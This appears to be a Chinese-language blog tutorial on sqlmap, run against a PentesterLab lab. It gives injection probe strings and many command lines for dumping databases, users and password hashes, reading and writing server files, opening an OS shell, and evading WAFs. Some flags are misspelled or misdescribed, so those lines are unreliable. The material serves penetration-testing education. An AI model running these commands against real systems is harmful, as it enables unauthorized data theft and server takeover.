sqlmap介紹和使用一
sqlmap介紹:
sqlmap開源的滲透測試工具,可以自動檢測和利用sql注入缺陷,基於python編寫,建議下載2.7或者2.8版本的python直接在命令行中調用解釋器運行。
測試環境:
vmare搭建靶場pentesterlab 使用python + sqlmap進行測試
sql注入原理:
當客戶端提交的數據未作處理或轉義直接帶入數據庫,就可能造成sql注入,攻擊者通過直接構造不同的sql語句來實現對數據庫的任意操作。
sql注入的分類:
按變量類型分:數字型和字符型
按照HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布爾注入、聯合注入、多語句注入、報錯注入、延時注入、內聯注入
SQL注入基本手工注入流程:
判斷注入點:
數字型:id=2-1
字符型:' 、')、 '))、 "、 ")、"))
注釋符:-- (這是--空格)、--+、/**/、#
一、sqlmap使用:
(1)查看sqlmap版本信息 python sqlmap.py --version
(2)查看sqlmap的幫助信息 python sqlmap.py --help
二、 sqlmap直連數據庫:
(1)服務型數據or關系型數據庫,(用戶名:root 密碼:123456)
python sqlmap.py -d "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
(2)文件型數據庫(前提條件:數據庫的絕對路徑)
DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
(3)sqlmap 針對單一的url探測,參數使用-u
python sqlmap.py -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --banner
三、 提高sqlmap 探測速度的方法
(1)持久連接 sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --current-db --keep-alive
(2) 多線程 sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbs --thread 10
四、 指定數據庫類型
(1) sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --current-db
(2)sqlmap -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql [版本號] --current-db
五、 指定os后端操作系統 linux windows
(1)sqlmap -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql --os windows --current-db
六、 指定寬字節注入(tamper="unmagicquotes.py")
(1)sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql --dbs --thread 10 --tamper="unmagicquotes.py" -v 3 --batch
八、 強制設置無效值替換 --invalid -bignum,強制使用大整數來實現相同的目標(如id=88888).
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-bignum --current-db -v 3
強制使用布爾操作來實現相同的目標 --invalid-logical (如id =1 and 1=2)
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-logical --current-db -v 3
強制使用隨機字符串來實現相同的目標 --invalid-string(如id=abcde)
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-string --current-db -v 3
九、 sqlmap設置自定義檢測參數
指定要執行的測試等級的參數,一共五個層次 --level, 探測等級5,
--risk 平台危險等級3,一共3個等級,都是最高級別。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --level=3 --tamper=base64encode --current-db
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --level=5 --risk=3 --tamper=base64encode --current-db
十、 sqlmap設置具體sql注入技術
--techbnique 參數用來設置具體sql 注入技術。
B:Boolean-based blind 基於布爾的盲注
E:Error-based 報錯注入
U:Union query-based Unbion查詢注入
S:Stacked queries 堆疊注入
T:Timed-based blind 時間的盲注
Q:lnline queries 內聯查詢注入
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique B --dbs
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique BS --dbs
十一、sqlmap設置時間盲注延遲時間,設置秒來延遲響應(DBMS延時)--time-sec選項
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique T
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique T --time-sec 3
十二、sqlmap設置union字段數,默認情況下,sqlmap測試使用1到10列的union查詢sql注入技術,但是通過提供更高--level值,可以將此范圍增加到50列
手動方法為工具提供選--union-cols后跟一些列整數,如12-16表示使用12到16個列對union查詢sql注入進行測試
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique U union-cols 12-18
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 3 --technique U --union-char 123
(3) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique U --union-char 1 --union-cols 12-18
十三、sqlmap 檢索DBMS Banner
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --banner -v 3
sqlmap 檢索DBMS當前用戶
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --current-user -v 3
sqlmap 檢索當前數據庫
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --current-db -v 3
sqlmap 檢索當前數據庫主機名 --hostname
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --hostname -v 3
sqlmap 檢索當前用戶是否是DBA --is-dba
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --is-dba
sqlmap 枚舉DBMS用戶
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique BU --users
sqlmap枚舉DBMS用戶密碼
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique BU --password
sqlmap 枚舉DBMS權限
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --role
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --privileges
sqlmap的介紹和使用二
十四、sqlmap 列舉數據庫名 --dbs
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --dbs
sqlmap 枚舉數據庫表
--tables枚舉表名 -->指定具體數據庫 -D 數據庫名(security)
--exclude-sysdbs(排除系統數據庫)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --tables
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D security --tables
(3)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --tables --exclude-sysdbs
sqlmap 枚舉數據表列
--columns -D 指定數據庫 -T指定數據表 -C 指定具體字段
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --columns
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users --columns
(3)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users --columns -C
sqlmap 枚舉數據值
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users -C "custom" --dump
十五、sqlmap枚舉schema信息--schema,列表將包含所有數據庫、表和列,以及他們的類型
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --schema --exclude-sysdbs
sqlmap檢索數據表數量 --count-D(庫名)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --count -D test
sqlmap獲取數據信息
--start,--start,--first,--last
--start 1 --stop 3 獲取第二到第三表的名字
--stop 1 獲取第一張表的名字
--first 3 --last 5 獲取從第三到第五個字符
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection --start 1 --stop 3
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection --tables --start 1 --stop 3
sqlmap設置條件獲取信息 --pivot-column=id 設置獨當一無二的列
--where=“id>3”設置條件
--T (表名)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -T users --pivot-column id --columns
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection -T users --where="id>2"
(3) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection -T users -C "username" --where="id>2"
sqlmap 枚舉數據值 --dump
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example1.php?name=root" -D sqlinjection -T users -C "username" --dump
十六、 sqlmap暴力破解數據
使用場景mysql<5.0時,mysql中沒有元數據庫information_schema
--common-tables
--common-columns
十七、sqlmap讀取文件
--file-read 路徑 讀取對應文件內容,注意:此處的路徑為絕對路徑
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --file-read="F:\\flag.txt"
--file-write 讀取本地文件
--file-dest 將讀取的文件寫入到遠程絕對路徑
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --file-write="F:\\flag.txt" --file-dest="F:\\flag.txt"
sqlamap檢索所有信息 -a 或 --all
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -a
十八、 sqlmap執行系統命令--os-shell
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --os-shell
十九、sqlmap設置盲注字符集
--charset=
在基於布爾和基於時間的sql盲注中,用戶可以強制使用自定義字符集來加速數據檢索過程
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --charset=GBK -D test - T users -C "username" --dump
sqlmap爬取url
sqlmap可以通過從目標位置開始收集鏈接(爬行)來收集潛在的脆弱鏈接,使用此選項,用戶可以設置一個深度,遞歸執行這個爬行過程,如果低於設置的深度,
sqlmap不會進入收集階段
--crawl
--crawl-exclude 字符串,存在字符串的url不進行爬取
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --batch--crawl=3
sqlmap在csv輸出中使用的分隔字符
當被轉儲的數據存儲到csv格式(--dump-format=CSV)時,條目必須用"分離值"分隔(默認值是,),如果用戶想要覆蓋它的默認值,他可以使用這個選項(例如--csv-del=";")
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --csv-del=";" --batch -v3 -D sqlinjection -T users -C username --dump --thread 10
sqlmap設置輸出格式
當將存儲表數據存儲到輸出目錄中的相應文件中時,sqlmap支持三種不同的格式:CSV、HTML、SQLITE
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -v3 --batch -D sqlinjection -T users -C username --dump --dump-format="HTML" --thread 10
二十、sqlmap探測之前檢測internet連接,檢測當前計算機Internet連接是否正常,確保探測失敗不是因為網絡攔截問題
--check-internet
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --check-internet
sqlmap解析和測試表單的輸入字段
--form
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --form -v 3 --thread 5
sqlmap設置預計完成時間
實時計算和顯示估計的到達時間,檢索每個查詢輸出,檢索輸出的技術是任何sql盲注類型時,就會顯示這一點 注意:eta 和 -v 不兼容
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --form --thread 10 --batch -D test -T users -C "user" --dump --eta --technique T
sqlmap刷新會話文件
由於會話文件的概念,所以最好知道您可以使用選項flush-session刷新文件的內容,通過這種方式,您可以避免sqlmap中默認實現的緩存機制.其他可能的方法是手動刪除會話文件
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -D test -T users -C "usernames" --dump --eta --flush-session
sqlmap忽略會話中存儲的結果
使用選項--fresh-queries來忽略該文件的內容.通過這種方式,可以保持會話文件不變,對於所選的運行,避免恢復/恢復查詢輸出
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --fresh-queries
sqlmap使用Hex函數檢索數據
非ascii數據的檢索需要特殊的需求.解決這個問題的一個方法是使用DBMS hex函數.數據在被檢索之前被編碼為十六進制形式,然后被編碼為原始形式
--hex
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --hex -v 3 --batch
sqlmap設置自定義輸出路徑
sqlamp默認講會話和結果文件存儲在子目錄輸出中。如果您想在不同的位置,可以使用這個選項(例如--out-dir=/tmp)
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --hex --dump --batch -v 3 --output-dir="///"
sqlmap從響應頁面解析錯誤
如果web應用程序配置為調試模式, 以便在響應中顯示后端數據庫管理系統錯誤消息,sqlmap可以解析並顯示他們.這對於調試很有用,
比如理解為什么某個枚舉或接管開關不起作用----這可能與會話用戶的特權有關
--parse-error
保存sqlmap配置文件 --save
可以將命令行選項保存到配置ini文件中,然后可以使用之前解釋的-c選項 編輯生成的文件並將其傳遞給sqlmap
更新sqlmap --update
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -D test -T users -C “users”--dump --hex -v3 --batch --parse-errors --flush-session
二十 一、sqlmap強制設置DBMS編碼
--encoding="gbk"
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --encoding="gbk"
sqlmap存儲http流量到HAR
--har="HARFILE"
HAR(HTTP Archive),是一個用來存儲HTTP請求/響應信息的通用文件格式,基於JSON
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --har="test_192.168.1.100.har"
sqlmap篩選具體playload
--test-filter=“ROW”
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --test-filter="ROW" --flush-session -v 3
sqlmap過濾具體playload
--test-skip=“BENCHMARK”
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --test-skip="BENCHMARK" --flush-session -v 3
sqlmap過濾具體playload
針對proxy日志文件使用正則表達式刪選目標
--scope="regex"
二十二、sqlmap 雜項參數縮寫
例如: -z flu:--flush-session
--bat:batch
--ban: banner
--tec=EC:technique=EU ERROR UNION
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -z ban,bat
--alert 當發現sql注入時,運行主機系統命令
(1)"http://192.168.186.128/sqli/example4.php?id=2" --technique U --alert="ifconfig" --flush-session
--beep 當發現sql注入時,發出BB聲音
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --beep
--cleanup 清除DBMS udf創建的數據表
--dependencies 查看依賴項
(1)sqlmap --dependencies
sqlmap 不進行高亮顯示
--disable-coloring 不進行高亮顯示
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --disable-coloring
查看是否有WAF保護
--identify-waf
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --identify-waf
--mobile 使用手機端User-Agent
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -v 3 --mobile
--offline 僅適用session文件,不進行聯網探測
--purge-output 清除output目錄下的文件
(1) sqlmap --purge-output
--skip-waf忽略waf、ips
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --skip-waf
--sqlmap-shell 使用sqlmap shell
(1) sqlmap --sqlmap-shell
--tmp-dir=TMPDIR 指定本地目錄用來存儲臨時文件
--web--root=WEBROOT指定站點根目錄
--wizard 使用向導式的sqlmap
(1) sqlmap --wizard
--answer=ANSEWERS 設置問題答案 例如“quit=N,follow=N”
--gpage=GOOLEPAGE 設置Google Dork的頁碼數
--smart 智能探測
有些情況下,用戶有大量的潛在目標url(例如,提供了選項-m),希望盡快找到一個脆弱的目標。
如果使用--smart,將在掃描中進一步使用數據庫管理系統錯誤的參數,否則跳過他們。